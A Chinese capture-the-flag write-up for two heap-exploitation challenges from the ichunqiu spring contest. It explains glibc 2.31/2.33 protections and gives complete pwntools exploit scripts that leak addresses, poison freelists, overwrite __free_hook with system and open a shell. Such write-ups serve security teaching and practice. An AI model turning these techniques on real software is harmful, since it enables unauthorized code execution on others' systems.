ichunqiu春季赛-ichunqiuIOT&torghast-爱代码爱编程
ichunqiuIOT
最难的地方在于逆向懂协议的组成,动手调一调就好了
漏洞点很明显是释放堆块后没有清除相应的指针
由于libc是2.33会有一个指针加密,详细的看这个师傅的文章一道题学习glibc-2.32异或加密
exp
from pwn import *
from LibcSearcher import *
p = process('./abc')
# p=remote()
context.log_level = 'debug'
libc=ELF('./libc.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def add(idx,size,cont):
p.send('POST / HTTP/1.0 \r\n&\x01'+'&'+str(idx)+'&'+str(size)+'&'+cont)
def edit(idx,cont):
p.send('POST / HTTP/1.0 \r\n&\x02'+'&'+str(idx)+'&'+cont)
def show(idx):
p.send('POST / HTTP/1.0 \r\n&\x03'+'&'+str(idx))
def delete(idx):
p.send('POST / HTTP/1.0 \r\n&\x04'+'&'+str(idx))
#login
p.send('DEV / HTTP/1.0 \r\nrotartsinimda')
add(0,0x418,'a')
add(1,0x30,'b')
delete(1)
show(1)
p.recvuntil('Content-Length: 5\n')
heapbase=u64(p.recv(5).ljust(8,'\x00'))<<12
info('heap->'+hex(heapbase))
delete(0)
add(2,0x428,'aaaa')
show(0)
p.recvuntil('Content-Length: 6\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1e0ff0
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
add(3,0x30,'c')
add(4,0x30,'ddd')
delete(3)
delete(4)
#0x55500000939c
fd=freehook^(heapbase>>12)
info('fd->'+hex(fd))
edit(4,p64(fd))
add(5,0x30,'/bin/sh')
add(6,0x30,p64(system))
delete(5)
p.interactive()
torghast
libc版本为2.31
逆向分析
管理堆块需要playflag不为0,我们用Ctrl+X追溯playflag
使playflag为1需要通过挑战
有个整数溢出,溢出后能绕过mplist[6*user]>0x5F5E0FE的判断,也就能一步步让playflag=1
漏洞点出现在edit函数有个off by null。版本是libc-2.31,off by null的利用比起libc2.29之前的利用更加复杂
libc-2.29以后,unlink时加入了对size和prev_size的检测
绕过这个也很简单,伪造prev_size即可,但是unlink还会检测fd和bk
我们需要绕过的检测有两个
一个是合并时对于size的检测
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
一个是对于fd和bk的双链表的检测,需要满足fd->bk=P且bk->fd=P也就是当前堆块
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
由于已经泄露了libc和堆地址,可以直接伪造 prev_size和fd还有bk,造成堆块重叠改free__hook为system
这里解释一下为什么这样修改fd和bk
add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)
在unlink时,会检测large_bin的fd_nextsize和bk_nextsize的是否合法
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
绕过这个检测也很简单,只需要让fd_nextsize和bk_nextsize等于0就可以了
如果直接放在fd_nextsize和bk_nextsize会malloc_printerr(“corrupted double-linked list (not small)”);
exp
from pwn import *
from LibcSearcher import *
#p = process('./torgh')
p=remote('47.93.2.254',15813)
context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def menu(ch):
sla('Choice:',str(ch))
def joinmenu(ch):
sla('4. Return to Main Menu\n',str(ch))
def gain(ch):
sla('4. Gain Infinity HP (Only GM)\n',str(ch))
def add(idx,size,cont):
menu(1)
sa('Select User Id',str(idx))
sa('Player Data Size',str(size))
sa('Input Data',cont)
def edit(idx,cont):
menu(2)
sla('Which Player To Change?',str(idx))
sa('Your Log:',cont)
def delete(idx):
menu(3)
sla('Which Player You Want To Delete:',str(idx))
def change(idx):
menu(2)
sla('Choose Which User?',str(idx))
def exit():
menu(4)
# int overflow
menu(1)
joinmenu(1)
for i in range(3):
joinmenu(2)
gain(1)
joinmenu(2)
gain(4)
for i in range(2):
joinmenu(1)
sl('1')
joinmenu(4)
menu(3)
add(1,0x438,'aaa')
add(2,0x18,'bbb')
delete(1)
add(1,0x18,'a')
menu(4)
change(1)
menu(1)
joinmenu(3)
p.recvuntil('Here Is The Adventure Log:\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1ecf61
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
p.recv(10)
heapbase=u64(p.recv(6).ljust(8,'\x00'))-0x2d0
info('heap->'+hex(heapbase))
joinmenu(4)
menu(3)
add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)
add(4,0x20,'ccc')
add(5,0x20,'ccc')
add(6,0x28,'ccc')
add(7,0x4f0,'ddd')
add(8,0x30,'eeeee')
edit(6,'a'*0x20+p64(0x4c0))
delete(7)
add(7,0x400,'aaaa')
add(9,0x20,'ccc')
delete(6)
delete(2)
edit(9,p64(freehook))
add(2,0x20,'/bin/sh\x00')
add(6,0x20,p64(system))
delete(2)
p.interactive()